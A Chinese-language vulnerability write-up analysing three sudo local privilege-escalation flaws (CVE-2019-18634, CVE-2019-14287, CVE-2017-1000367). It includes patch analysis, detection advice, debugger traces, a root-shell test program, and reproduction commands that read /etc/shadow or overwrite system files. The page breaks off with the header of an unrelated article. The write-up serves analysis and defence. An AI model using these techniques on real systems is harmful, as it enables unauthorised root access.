如果想通过buf将数据覆盖到user_details，中间必须经过signo。而在getln函数执行完成后会返回到tgetpass函数中，如果signo结构中的某些值不为0，那程序就存在被kill掉的风险。如果采用第一种验证思路，使用“\x00”作为桥梁，就不可能将0写入signo结构中，更不能将uid覆盖为0，我和我的小伙伴们就在这里卡住了。
for (i = 0; i < NSIG; i++) {
if (signo[i]) {
switch (i) {
case SIGALRM:
break;
case SIGTSTP:
case SIGTTIN:
case SIGTTOU:
if (suspend(i, callback) == 0)
need_restart = true;
break;
default:
kill(getpid(), i);
break;
}
}
}
幸运的是，第二天看到了关于漏洞的补充说明<https://www.openwall.com/lists/oss-security/2020/02/05/2>.然而，这调试有点难度，调试的时候在读取密码上总是返回0。不过，只是想覆盖user_details而已，我可以使用“\x15”作为桥梁向sudo输送5000个0嘛（偷个懒），程序肯定收到SIGSEGV信号，这时候再看uid是否被覆盖就可以了。uid被成功覆盖为0。
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sudo", stopped 0x563f1d558298 in getln (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────
getln (fd=fd@entry=0x0, buf=buf@entry=0x563f1d7632c0 <buf> "", feedback=feedback@entry=0x8, bufsiz=0x100) at ./tgetpass.c:334
334 *cp++ = c;
gef➤ p user_details
$1 = {
pid = 0x0,
ppid = 0x0,
pgid = 0x0,
tcpgid = 0x0,
sid = 0x0,
uid = 0x0,
euid = 0x0,
gid = 0x0,
egid = 0x0,
username = 0x0,
cwd = 0x0,
tty = 0x0,
host = 0x0,
shell = 0x0,
groups = 0x0,
ngroups = 0x0,
ts_cols = 0x0,
ts_lines = 0x0
}
2、SUDO_ASKPASS设置
然后把数据量变小，使其可以覆盖到user_details，又不会使程序崩溃。出现了如下结果，提示没有指定输入方式，第一次使用了标准输入，当sudo检查密码错了之后会提示再次输入，正常情况下是不会有问题的，可能是因为刚才将某个值覆盖为0了：
strawberry@ubuntu:~/Desktop/sudo-SUDO_1_8_21p1/build2/bin$ ./sudo -S id < /tmp/pty
Password:
Sorry, try again.
sudo: no tty present and no askpass program specified
sudo: 1 incorrect password attempt
这篇文章:<https://dylankatz.com/Analysis-of-CVE-2019-18634/>中提到了SUDO_ASKPASS的使用，很妙~>)中提到了SUDO_ASKPASS的使用，很妙~
首先使用pty设置密码，通过溢出将uid设置为0，并且将密码读取方式改为ASKPASS。这样在后面的循环中就会使用指定的SUDO_ASKPASS程序，并将其uid设置为0。当然，ASKPASS环境变量是提前设置好的。关键的一点是要将我之前设置为0的tgetpass_flags设置为4。最后简单提一下SUDO_ASKPASS程序里的内容，最关键的就是
set uid 并执行shell了。这样执行SUDO_ASKPASS程序就可以获取root shell。
/*
* Flags for tgetpass()
*/
#define TGP_NOECHO 0x00 /* turn echo off reading pw (default) */
#define TGP_ECHO 0x01 /* leave echo on when reading passwd */
#define TGP_STDIN 0x02 /* read from stdin, not /dev/tty */
#define TGP_ASKPASS 0x04 /* read from askpass helper program */
#define TGP_MASK 0x08 /* mask user input when reading */
#define TGP_NOECHO_TRY 0x10 /* turn off echo if possible */
科普：上面是tgetpass各个flag的宏定义，其中ASKPASS值为4，STDIN值为2，分别对应了 -A 和 -S 选项。
→ 507 if (ISSET(tgetpass_flags, TGP_STDIN) && ISSET(tgetpass_flags, TGP_ASKPASS)) {
508 sudo_warnx(U_("the `-A' and `-S' options may not be used together"));
509 usage(1);
510 }
3、漏洞复现
使用有sudo权限的用户进行测试，成功获取root权限。
strawberry@ubuntu:~/Desktop$ sh exp_test.sh
[sudo] password for strawberry:
Sorry, try again.
Sorry, try again.
sudo: 2 incorrect password attempts
Exploiting!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@ubuntu:/home/strawberry/Desktop# id
uid=0(root) gid=1000(strawberry) groups=1000(strawberry),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
使用没有sudo权限的testtest用户进行测试，成功获取root权限。
testtest@ubuntu:~$ sh exp_test.sh
[sudo] password for testtest:
Sorry, try again.
Sorry, try again.
sudo: 2 incorrect password attempts
Exploiting!
root@ubuntu:/home/testtest# id
uid=0(root) gid=1001(testtest) groups=1001(testtest)
## 漏洞总结
当sudo配置了“pwfeedback”选项时，如果用户通过管道等方式传入密码，sudo会在一定范围内判断密码中是否存在sudo_term_kill，如果存在，则重置复制长度，但指向缓冲区的指针没有归到原位，用户可发送带有sudo_term_kill字符的超长密码来触发此缓冲区溢出漏洞。攻击者可利用特制的超长密码覆盖位于密码存储缓冲区后面的user_details结构，从而获取root权限。
**参考文章**
1. <https://www.openwall.com/lists/oss-security/2020/01/30/6>
2. <https://securityaffairs.co/wordpress/97265/breaking-news/sudo-cve-2019-18634-flaw.html>
3. <https://mp.weixin.qq.com/s/QUyh3mSuw1aZ4CVjx7Lzfw>
4. <https://www.sudo.ws/alerts/pwfeedback.html>
5. <https://dylankatz.com/Analysis-of-CVE-2019-18634/>
# CVE-2019-14287 sudo 权限绕过漏洞
## 漏洞简讯
2019年10月14日，sudo曝出权限绕过漏洞，漏洞编号为CVE-2019-14287。该漏洞也是由苹果公司的研究员 Joe
Vennix发现的，可导致恶意用户或程序在目标 Linux 系统上以 root 身份执行命令。不过此漏洞仅影响sudo的特定非默认配置，典型的配置如下所示：
someuser myhost =（ALL, !root）/usr/bin/somecommand
此配置允许用户“someuser”以除root外的任何其他用户身份运行somecommand。“someuser”可使用ID来指定目标用户，并以该用户的身份来运行指定命令。但由于漏洞的存在，“someuser”可指定ID为-1或4294967295，从而以root用户身份来运行somecommand。以这种方式运行的命令的日志项将目标用户记录为4294967295，而不是root。此外，在这个过程中，PAM会话模块将不会运行。
另外，sudo的其他配置，如允许用户以任何用户身份运行命令的配置（包括root用户），或允许用户以特定其他用户身份运行命令的配置均不受此漏洞影响。
## 影响范围
1.8.28版本之前且具有特定配置的sudo受此漏洞影响
## 检测方法
检查/etc/sudoers文件中是否存在以下几种配置，如果存在建议删除该配置或升级到1.8.28及之后版本：
1. someuser ALL=(ALL, !root) /usr/bin/somecommand
2. someuser ALL=(ALL, !#0) /usr/bin/somecommand
3. Runas_Alias MYGROUP = root, adminuser
someuser ALL=(ALL, !MYGROUP) /usr/bin/somecommand
## 漏洞复现
这个漏洞复现比较简单，所以先复现再分析吧~ 首先要配置漏洞环境来进行测试，在此之前添加一个测试账户testtest，另外，sudo
版本依然为1.8.21p1。然后在/etc/sudoers文件中加入testtest ALL=(ALL, !root)
/usr/bin/id，这样允许testtest用户可以以除了root用户之外的任意用户的身份来运行id命令。
正常情况下，testtest用户可以直接执行id命令，也可以用其它用户身份（除root外）执行id命令。
testtest@ubuntu:/home/strawberry$ id
uid=1001(testtest) gid=1001(testtest) groups=1001(testtest)
testtest@ubuntu:/home/strawberry$ sudo -u#1111 id
[sudo] password for testtest:
uid=1111 gid=1001(testtest) groups=1001(testtest)
testtest@ubuntu:/home/strawberry$ sudo -u root id
Sorry, user testtest is not allowed to execute '/usr/bin/id' as root on ubuntu.
testtest@ubuntu:/home/strawberry$ sudo -u#0 id
Sorry, user testtest is not allowed to execute '/usr/bin/id' as root on ubuntu.
而如果testtest用户指定以ID为-1或4294967295的用户来运行id命令，则会以root权限来运行。这是因为 sudo命令本身就已经以用户 ID
为0 运行，因此当 sudo 试图将用户 ID 修改成 -1时，不会发生任何变化。并且 sudo 日志条目将该命令报告为以用户 ID 为
4294967295而非 root 运行命令。此外，由于通过–u 选项指定的用户 ID 并不存在于密码数据库中，因此不会运行任何 PAM 会话模块。
testtest@ubuntu:/home/strawberry$ sudo -u#-1 id
uid=0(root) gid=1001(testtest) groups=1001(testtest)
testtest@ubuntu:/home/strawberry$ sudo -u#4294967295 id
uid=0(root) gid=1001(testtest) groups=1001(testtest)
另外，如果文件中配置了testtest ALL=(ALL, !root)
/usr/bin/vi这种语句，可能使该用户获取使用机密文件的权限，如/etc/shadow。如果配置了testtest ALL=(ALL,
!root)ALL，testtest用户将会获得root权限（这种配置应该很少出现的吧）：
testtest@ubuntu:/home/strawberry$ sudo -u#-1 sh
[sudo] password for testtest:
# id
uid=0(root) gid=1001(testtest) groups=1001(testtest)
# cat /etc/shadow
root:!:18283:0:99999:7:::
daemon:*:18113:0:99999:7:::
bin:*:18113:0:99999:7:::
sys:*:18113:0:99999:7:::
...
## 漏洞分析
从漏洞补丁<https://github.com/sudo-project/sudo/commit/f752ae5cee163253730ff7cdf293e34a91aa5520>
关于-1的处理改动，下面这两段代码位于lib/util/strtoid.c中的sudo_strtoid_v1
函数（分别为处理64位和32位的两个函数），补丁加入了对 -1 和 UINT_MAX（4294967295）的判断，如果不是才会放行。
64位 sudo_strtoid_v1 函数
32位 sudo_strtoid_v1 函数
在command_info_to_details中，通过调用sudo_strtoid_v1函数获取用户指定id，并存入details->uid中。
743 if (strncmp("runas_uid=", info[i], sizeof("runas_uid=") - 1) == 0) {
744 cp = info[i] + sizeof("runas_uid=") - 1;
745 id = sudo_strtoid(cp, NULL, NULL, &errstr);
746 if (errstr != NULL)
747 sudo_fatalx(U_("%s: %s"), info[i], U_(errstr));
748 details->uid = (uid_t)id;
// details=0x00007fff2110e4e0 → [...] → 0x00000000ffffffff
→ 749 SET(details->flags, CD_SET_UID);
750 break;
751 }
752 #ifdef HAVE_PRIV_SET
753 if (strncmp("runas_privs=", info[i], sizeof("runas_privs=") - 1) == 0) {
754 const char *endp;
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sudo", stopped 0x564bb9b02e61 in command_info_to_details (), reason: SINGLE STEP
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x564bb9b02e61 → command_info_to_details(info=0x564bba8aaba0, details=0x564bb9d140c0 <command_details>)
[#1] 0x564bb9b00653 → main(argc=0x3, argv=0x7fff2110e7d8, envp=0x7fff2110e7f8)
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
749 SET(details->flags, CD_SET_UID);
1: *details = {
uid = 0xffffffff,
euid = 0x0,
gid = 0x0,
egid = 0x0,
然后使用details->uid赋值details->euid，此时结构中的uid和euid均为0xffffffff。
808 if (!ISSET(details->flags, CD_SET_EUID))
809 details->euid = details->uid;
// details=0x00007fff2110e4e0 → [...] → 0xffffffffffffffff
→ 810 if (!ISSET(details->flags, CD_SET_EGID))
811 details->egid = details->gid;
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sudo", stopped 0x564bb9b03741 in command_info_to_details (), reason: SINGLE STEP
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x564bb9b03741 → command_info_to_details(info=0x564bba8aaba0, details=0x564bb9d140c0 <command_details>)
[#1] 0x564bb9b00653 → main(argc=0x3, argv=0x7fff2110e7d8, envp=0x7fff2110e7f8)
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
810 if (!ISSET(details->flags, CD_SET_EGID))
1: *details = {
uid = 0xffffffff,
euid = 0xffffffff,
...
调试发现，在main函数中，程序先使用setuid(ROOT_UID)将uid设置为0，然后执行run_command(&command_details)，然后依次执行sudo_execute
-> exec_cmnd ->
exec_setup。PS：这里的command_details就是command_info_to_details中保存的details。
286 if (ISSET(sudo_mode, MODE_BACKGROUND))
287 SET(command_details.flags, CD_BACKGROUND);
288 /* Become full root (not just setuid) so user cannot kill us. */
289 if (setuid(ROOT_UID) == -1)
290 sudo_warn("setuid(%d)", ROOT_UID);
→ 291 if (ISSET(command_details.flags, CD_SUDOEDIT)) {
292 status = sudo_edit(&command_details);
293 } else {
294 status = run_command(&command_details);
295 }
296 /* The close method was called by sudo_edit/run_command. */
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sudo", stopped 0x55fb48d3d707 in main (), reason: SINGLE STEP
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x55fb48d3d707 → main(argc=0x3, argv=0x7ffdc681cd08, envp=0x7ffdc681cd28)
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
291 if (ISSET(command_details.flags, CD_SUDOEDIT)) {
gef➤ p command_details
$3 = {
uid = 0xffffffff,
euid = 0xffffffff,
gid = 0x3e8,
egid = 0x3e8,
...
在exec_setup函数中存在如下语句，程序会使用details结构中的uid信息来设置uid，在调试环境下使用的是setresuid函数（第一个），它可以设置用户的uid、euid和suid，但如果某个参数为-1，就不会改变该参数对应的id值。然而details->uid和details->euid均为-1。
#if defined(HAVE_SETRESUID)
if (setresuid(details->uid, details->euid, details->euid) != 0) {
sudo_warn(U_("unable to change to runas uid (%u, %u)"),
(unsigned int)details->uid, (unsigned int)details->euid);
goto done;
}
#elif defined(HAVE_SETREUID)
if (setreuid(details->uid, details->euid) != 0) {
sudo_warn(U_("unable to change to runas uid (%u, %u)"),
(unsigned int)details->uid, (unsigned int)details->euid);
goto done;
}
#else
/* Cannot support real user ID that is different from effective user ID. */
if (setuid(details->euid) != 0) {
sudo_warn(U_("unable to change to runas uid (%u, %u)"),
(unsigned int)details->euid, (unsigned int)details->euid);
goto done;
测试：编译如下测试程序，并赋予其与sudo相同的权限，以便模拟sudo程序中先执行setuid(0)，然后再执行setresuid(-1, -1,
-1)的场景。使用testtest用户运行该程序，成功获取root权限。PS：如果你设置的id为1234的话，程序就会执行setresuid(0x4d2,
0x4d2, 0x4d2)，这样你的uid就被设置为1234了。
include <stdio.h>
int main() {
setuid(0);
setresuid(-1, -1, -1);
execve("/bin/bash",NULL,NULL);
return 0;
}
testtest@ubuntu:/home/strawberry/Desktop$ ./testid
root@ubuntu:/home/strawberry/Desktop# id
uid=0(root) gid=1001(testtest) groups=1001(testtest)
root@ubuntu:/home/strawberry/Desktop# cat /etc/shadow
root:!:18283:0:99999:7:::
daemon:*:18113:0:99999:7:::
bin:*:18113:0:99999:7:::
sys:*:18113:0:99999:7:::
...
## 漏洞总结
sudo在配置了类似于testtest ALL=(ALL, !root)
/usr/bin/id语句后，存在一个权限绕过漏洞。程序首先会通过setuid(0)将uid设置为0，然后执行setresuid（id, id,
id）将uid等设置为id的值，id可为testtest用户指定的任意值。当id为-1（4294967295）时，setresuid不改变uid、euid和suid中的任何一个，因而用户的uid还是为0，可以达到权限提升的效果，但这一步在输入正确密码之后，因而攻击者还需获取账户密码，再加上这种配置，也是比较困难的。
另外，如果允许用户以任何用户身份运行命令（包括root用户），是不受此漏洞影响的，因为本来用户输了密码之后就可以以root身份运行命令吧。允许用户以特定其他用户身份运行命令也不受此漏洞影响，如下所示。
************ /etc/sudoers ***********
testtest ALL=(strawberry) /usr/bin/id
testtest@ubuntu:/home/strawberry/Desktop$ sudo -u strawberry id
[sudo] password for testtest:
uid=1000(strawberry) gid=1000(strawberry) groups=1000(strawberry),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
testtest@ubuntu:/home/strawberry/Desktop$ sudo -u#-1 id
Sorry, user testtest is not allowed to execute '/usr/bin/id' as #-1 on ubuntu.
**参考文章**
1. <https://www.sudo.ws/alerts/minus_1_uid.html>
2. <https://access.redhat.com/security/cve/cve-2019-14287>
3. <https://www.anquanke.com/post/id/189315>
4. <https://www.freebuf.com/news/216821.html>
# CVE-2017-1000367 sudo本地提权漏洞
## 漏洞简讯
2017年5月30日，国外安全研究人员发现sudo本地提权漏洞，该漏洞编号为CVE-2017-1000367，漏洞源于sudo
在获取tty时没有正确解析/proc/[pid]/stat
的内容，本地攻击者可能会使用此漏洞来覆盖文件系统上的任何文件，从而监控其它用户终端设备或获取root权限。
研究员发现 Linux 系统中 sudo 的get_process_ttyname() 有这样的漏洞：
这个函数会打开 “ /proc/[pid]/stat ”，并从 field 7 (tty_nr) 中读取设备的 tty 编号。但这些field
是以空格分开的，而 field 2中（comm，command的文件名）可以包含空格。
那么，当我们从符号链接 “./1 ” 中执行 sudo 命令时，get_process_ttyname() 就会调用sudo_ttyname_dev()
来在内置的 search_devs[] 中努力寻找并不存在的“1”号 tty设备.
然后，sudo_ttyname_dev() 开始调用 sudo_ttyname_scan() 方法，遍历“/dev”目录，并以广度优先方式寻找并不存在的
tty 设备“1”。
最后，在这个遍历过程中，我们可以利用漏洞让当前的用户伪造自己的 tty
为文件系统上任意的字符设备，然后在两个竞争条件下，该用户就可以将自己的tty伪造成文件系统上的任意文件。
值得注意的是，该漏洞第一次修复是在1.8.20p1版本，但该版本仍存在利用风险，可用于劫持另一个用户的终端。该漏洞最终于sudo1.8.20p2版本中得以修复（此处有第二次补丁:<https://github.com/sudo-project/sudo/commit/88674bae655d53b8d9739a6f64c03d2eeb5f1e8e>
在1.8.20p2之前的sudo版本中，还存在以下漏洞利用思路：
具有sudo特权的用户可将stdin、stdout和 stderr
连接到他们选择的终端设备上来运行命令。用户可以选择与另一个用户当前正在使用的终端相对应的设备号，这使得攻击者可以对任意终端设备进行读写访问。根据允许命令的不同，攻击者有可能从另一个用户的终端读取敏感数据（例如密码）。
## 影响范围
1. 1.7.10 <= sudo version <= 1.7.10p9
2. 1.8.5 <= sudo version <= 1.8.20p1
## 检测方法
请检查sudo版本是否属于受漏洞影响版本：
sudo -V
检查系统是否开启SELinux，sudo是否支持r选项。如果没有开启或不支持r选项，则无法利用此漏洞：
[strawberry@redhat ~]$ sestatus
SELinux status: enabled
SELinuxfs mount: /sys/fs/selinux
SELinux root directory: /etc/selinux
Loaded policy name: targeted
Current mode: enforcing
Mode from config file: enforcing
Policy MLS status: enabled
Policy deny_unknown status: allowed
Max kernel policy version: 28
## 漏洞分析
首先查看CVE-2017-1000367补丁<https://github.com/sudo-project/sudo/commit/817fd283124c61e8d5c8243b9ba276ba37ed87fe>，如下图所示，此处修改发生在get_process_ttyname函数内（位于/src/ttyname.c中），从注释上看改变了获取tty
dev的方式，补丁之前通过空格数找到第7项（tty dev），补丁之后的流程是首先找到第二项的 ')' ，然后从第二项终止处通过空格数定位到第七项：
下面来看之前代码，首先获取pid，然后通过解析/proc/pid/stat来获取设备号（通过空格数），如果第七项不为0那就是设备号：
char * get_process_ttyname(char *name, size_t namelen)
{
char path[PATH_MAX], *line = NULL;
char *ret = NULL;
size_t linesize = 0;
int serrno = errno;
ssize_t len;
FILE *fp;
debug_decl(get_process_ttyname, SUDO_DEBUG_UTIL)
/* Try to determine the tty from tty_nr in /proc/pid/stat. */
snprintf(path, sizeof(path), "/proc/%u/stat", (unsigned int)getpid());
if ((fp = fopen(path, "r")) != NULL) {
len = getline(&line, &linesize, fp);
fclose(fp);
if (len != -1) {
/* Field 7 is the tty dev (0 if no tty) */
char *cp = line;
char *ep = line;
const char *errstr;
int field = 0;
在获取设备号之后，程序会调用sudo_ttyname_dev寻找设备文件。首先会在search_devs列表中的目录下寻找（这里只截取了/dev/pts下搜索的代码），如果该文件为字符设备文件并且设备号是要找的设备号，就返回该文件的路径吧。如果没找到，就调用sudo_ttyname_scan在/dev下进行广度搜索。
/*
* First check search_devs for common tty devices.
*/
for (sd = search_devs; (devname = *sd) != NULL; sd++) {
len = strlen(devname);
if (devname[len - 1] == '/') {
if (strcmp(devname, "/dev/pts/") == 0) {
/* Special case /dev/pts */
(void)snprintf(buf, sizeof(buf), "%spts/%u", _PATH_DEV,
(unsigned int)minor(rdev));
if (stat(buf, &sb) == 0) {
if (S_ISCHR(sb.st_mode) && sb.st_rdev == rdev) {
sudo_debug_printf(SUDO_DEBUG_INFO|SUDO_DEBUG_LINENO,
"comparing dev %u to %s: match!",
(unsigned int)rdev, buf);
if (strlcpy(name, buf, namelen) < namelen)
rval = name;
else
errno = ERANGE;
goto done;
}
}
...
/*
* Not found? Do a breadth-first traversal of /dev/.
*/
正常情况下，/dev/pts/0对应了设备号0x8800（34816）。测试：开3个终端，设备文件分别为/dev/pts/0、/dev/pts/1和/dev/pts/2。可以发现，从/dev/pts/0起设备号从34816开始递增。
strawbe+ 2038 2028 0 01:05 pts/0 00:00:00 bash
strawbe+ 2048 2038 0 01:05 pts/0 00:00:00 sum
strawbe+ 2071 2028 0 01:05 pts/1 00:00:00 bash
strawbe+ 2139 2071 1 01:05 pts/1 00:00:00 python
strawbe+ 2144 2028 0 01:05 pts/2 00:00:00 bash
strawberry@ubuntu:~$ cat /proc/2038/stat
2038 (bash) S 2028 2038 2038 34816 ...
strawberry@ubuntu:~$ cat /proc/2048/stat
2048 (sum) S 2038 2048 2038 34816 ...
strawberry@ubuntu:~$ cat /proc/2071/stat
2071 (bash) S 2028 2071 2071 34817 ...
strawberry@ubuntu:~$ cat /proc/2139/stat
2139 (python) S 2071 2139 2071 34817 ...
strawberry@ubuntu:~$ cat /proc/2144/stat
2144 (bash) S 2028 2144 2144 34818 ...
由于程序会通过进程stat文件中的空格数来定位设备号，而进程名是可控的，进程名中可能会包含空格，使得设备号可控，这是问题的所在
。下面进行测试，首先设置两个指向sudo的软连接：./\ \ \ \ \ 66666\ 和./\ \ \ \ \ 34818\
（伪造的设备号后面需要填一个空格，在sudo_strtonum函数中会有校验），然后分别使用它们执行sudo
ls，显然66666失败了，因为没有找到num为66666的设备。
strawberry@ubuntu:~/Desktop/sudo-SUDO_1_8_20/build$ tty
/dev/pts/2
strawberry@ubuntu:~/Desktop/sudo-SUDO_1_8_20/build$ ./\ \ \ \ \ 66666\ ls
66666 : no tty present and no askpass program specified
strawberry@ubuntu:~/Desktop/sudo-SUDO_1_8_20/build$ ./\ \ \ \ \ 34818\ ls
' 34818 ' ' 66666 ' bin breakt include libexec sbin share
下面看第二次补丁内容，主要是获取/proc/pid/stat中内容的方式不同，补丁前还是采用getline函数获取文件中的一行，因为一般情况下/proc/pid/stat中的内容就是一行。补丁后采用read函数读取，并检查读取的内容中是否包含“\x00”，这样如果不报错的话，buf中就包含了文件的全部内容。另外，buf的长度为1024，也在一定程度上限制了使用超长程序名的攻击。
第一次补丁绕过：第一次补丁中通过strrchr函数找到最后一个")"，然后再通过空格定位设备号。然而程序只读取一行，我们可以在程序名中加入")"，然后在伪造的内容后面加入换行符，这样程序读取数据之后会找到我们的")"作为程序名结束的标志，我们还是可以控制设备号。
strawberry@ubuntu:~/Desktop/sudo-SUDO_1_8_20p1/build$ tty
/dev/pts/3
strawberry@ubuntu:~/Desktop/sudo-SUDO_1_8_20p1/build$ './) 34819
' ls
') 34819 '$'\n' bin include libexec sbin share
strawberry@ubuntu:~/Desktop/sudo-SUDO_1_8_20p1/build$ "./) 66666
" ls
) 66666
: no tty present and no askpass program specified
继续~
sudo在核对用户密码之后，会调用run_command(&command_details)来运行用户指定的命令，然后run_command->sudo_execute->exec_cmnd->exec_setup->selinux_setup->relabel_tty，在relabel_tty中可能会调用open(ttyn,O_RDWR|O_NONBLOCK)和dup2将stdin,stdout,
and stderr重定向到用户的tty，攻击者可以利用这一点对控制的设备号所对应的目标文件进行未授权读写操作。
/* Re-open tty to get new label and reset std{in,out,err} */
close(se_state.ttyfd);
se_state.ttyfd = open(ttyn, O_RDWR|O_NONBLOCK);
if (se_state.ttyfd == -1) {
sudo_warn(U_("unable to open %s"), ttyn);
goto bad;
}
(void)fcntl(se_state.ttyfd, F_SETFL,
fcntl(se_state.ttyfd, F_GETFL, 0) & ~O_NONBLOCK);
for (fd = STDIN_FILENO; fd <= STDERR_FILENO; fd++) {
if (isatty(fd) && dup2(se_state.ttyfd, fd) == -1) {
sudo_warn("dup2");
goto bad;
}
}
另外，exec_setup会判断CD_RBAC_ENABLED标志位是否设置，设置了才会去执行selinux_setup（如下面第一段代码所示）。如果使用sudo的r选项，且开启SELinux，则该标志就会设置（如第二段代码所示）。所以，如果系统开启了开启SELinux，且sudo支持r选项，则有机会利用这个漏洞。
#ifdef HAVE_SELINUX
if (ISSET(details->flags, CD_RBAC_ENABLED)) {
if (selinux_setup(details->selinux_role, details->selinux_type,
ptyname ? ptyname : user_details.tty, ptyfd) == -1)
goto done;
}
#endif
#ifdef HAVE_SELINUX
if (details->selinux_role != NULL && is_selinux_enabled() > 0)
SET(details->flags, CD_RBAC_ENABLED);
#endif
## 漏洞利用
先复述一下第一种利用思路吧（这个难一点点），get_process_ttyname函数获取设备号的方式存在漏洞，使得攻击者可控制设备号。程序会通过比对的方式获取与该设备号相对应的设备文件，首先会在内置的
search_devs列表中寻找，如果没找到就会从/dev中寻找。攻击者可以在/dev目录下选择一个可写的文件夹，向其中写入一个指向/dev/pts/num的软连接，要求这个num文件当前不存在，并且要和伪造的设备号相对应，就像前面所说的/dev/pts/0和34816。然后通过带有空格和伪造设备号的软连接启动sudo（要加-r选项，这样才能重定向），程序在/dev/pts下找不到num文件，因而会从/dev下没有被忽略的文件中去找，当程序找到存放链接文件的文件夹时，暂停sudo程序，调用openpty函数不断创建终端，直到出现/dev/pts/num文件，然后继续运行sudo程序，这样程序获取的设备文件就是攻击者伪造的那个软链接。然后在程序关闭文件夹的时候，再次暂停程序，将这个软链接重新指向攻击者想要写入的文件然后运行程序，这样程序以为的tty实际上是攻击者指定的文件，然后程序会通过dup2将stdin,
stdout, and stderr重定向到这个文件。这样我们可以通过控制可用命令的输出或报错信息，从而精准覆写系统上的任意文件。
1、寻找/dev下可写目录，可以找到mqueue/和shm/。在shm/中创建文件夹/_tmp，并在其中设置/dev/shm/_tmp/_tty->/dev/pts/57、/dev/shm/_tmp/
34873 ->/usr/bin/sudo。
strawberry@ubuntu:/dev$ ll | grep drwxrwx
drwxrwxrwt 2 root root 40 Feb 13 18:20 mqueue/
drwxrwxrwt 3 root root 60 Feb 13 19:08 shm/
2、sudo -r 选项，ubuntu中的sudo虽内置了这个选项，但没有安装selinux，所以没有测试成功。
-r role create SELinux security context with specified role
3、在redhat下测试，sudo -r unconfined_r可以用。执行/dev/shm/_tmp/ 34873 -r unconfined_r
/usr/bin/sum"--\nHELLO\nWORLD\n"，程序会去寻找设备号为34873的设备。
[testtest@redhat ~]$ id -Z
unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[testtest@redhat ~]$ sudo -r unconfined_r sum test
00000 0
[testtest@redhat ~]$ sudo -r asdf sum test
sudo: unable to get default type for role asdf
4、由于/dev/pts/57不存在，程序在遍历完search_devs列表中的目录后会在/dev下寻找，我们监测/dev/shm/_tmp文件夹是否打开，如果打开了就向sudo进程发送SIGSTOP信号使其暂停，同时调用openpty函数生成/dev/pts/57，如果/dev/pts/57存在了，就向sudo发送SIGCONT信号恢复其运行。
[+] Create /dev/pts/2
[+] Create /dev/pts/3
...
[+] Create /dev/pts/57
5、检测到/dev/shm/_tmp文件夹关闭后，暂停sudo程序，修改/dev/shm/_tmp/_tty，使其指向/etc/motd，成功后继续运行程序。
6、为了可以两次成功暂停sudo进程，可以将其优先级设置为19，调用sched_setscheduler为其设置SCHED_IDLE策略，调用sched_setaffinity使sudo进程和利用进程使用相同的CPU，而利用进程的优先级被设置为-20（最高优先级）。
7、最终测试：在sudoers添加testtest ALL=(ALL)
/usr/bin/sum策略，运行sudopwn（将输出/重定向到/etc/motd），可以看出文件中的内容原本为“motd”，运行程序后被覆盖为sum命令的报错信息：
Last login: Thu Feb 13 15:02:54 2020
motd
[testtest@redhat ~]$ ./sudopwn
[sudo] password for testtest:
[testtest@redhat ~]$ cat /etc/motd
/usr/bin/sum: unrecognized option '-- HELLO
WORLD
'
Try '/usr/bin/sum --help' for more information.
第二种利用思路简单一些，攻击者在登录之后，可进入/dev/pts目录筛选出其它用户登录的设备，计算该设备号，利用此漏洞使用带有此设备号的符号链接来启动sudo程序，根据其授权的命令不同可选择获取对该终端的读写权限。
[testtest@redhat pts]$ tty
/dev/pts/1
[testtest@redhat pts]$ ls
0 1 2 ptmx
[testtest@redhat ~]$ ./sudopwn2
Input pts num: 2
[sudo] password for testtest:
[testtest@redhat ~]$
[strawberry@redhat ~]$ /usr/bin/sum: unrecognized option '-- HELLO
WORLD
'
Try '/usr/bin/sum --help' for more information.
## 漏洞总结
sudo获取设备号的方式存在漏洞，使得攻击者可控制设备号。攻击者可选取一组对应的设备号和设备文件，使用带有伪造设备号的符号链接启动sudo。由于漏洞的存在，程序会读取错误的设备号，并在/dev中寻找相应的设备文件（如果是本身不存在的设备文件，攻击者还需选择合适的时机创建此设备文件，并在另一刻将指向其的符号链接指向目标文件）。当程序运行在启用SELinux的系统上时，如果sudo使用了r选项使用指定role创建SELinux安全上下文，则会将stdin、stdout和stderr重定向到当前设备，这可能允许攻击者对目标设备进行未授权读写。假如攻击者利用该漏洞覆写了/etc/passwd文件，则有可能获取root权限。
strawberry@ubuntu:~$ ssh [email protected]
[email protected]'s password:
Last login: Thu Feb 13 15:02:54 2020
[testtest@redhat ~]$ whoami
testtest
[testtest@redhat ~]$ ./sudopwn
[sudo] password for testtest:
[testtest@redhat ~]$ whoami
whoami: cannot find name for user ID 1001
[testtest@redhat ~]$ logout
Connection to 192.168.29.173 closed.
strawberry@ubuntu:~$ ssh [email protected]
[email protected]'s password:
Last login: Thu Feb 13 16:29:05 2020 from 192.168.29.155
[root@redhat ~]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
**参考文章**
1. <https://www.sudo.ws/alerts/linux_tty.html>
2. <https://www.freebuf.com/articles/system/136975.html>
3. <https://www.freebuf.com/vuls/136156.html>
4. <http://securityaffairs.co/wordpress/59606/hacking/linux-flaw.html>
5. <https://www.openwall.com/lists/oss-security/2017/05/30/16>
* * * | 社区文章 |
# 深入理解APC机制（三）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01深入内核
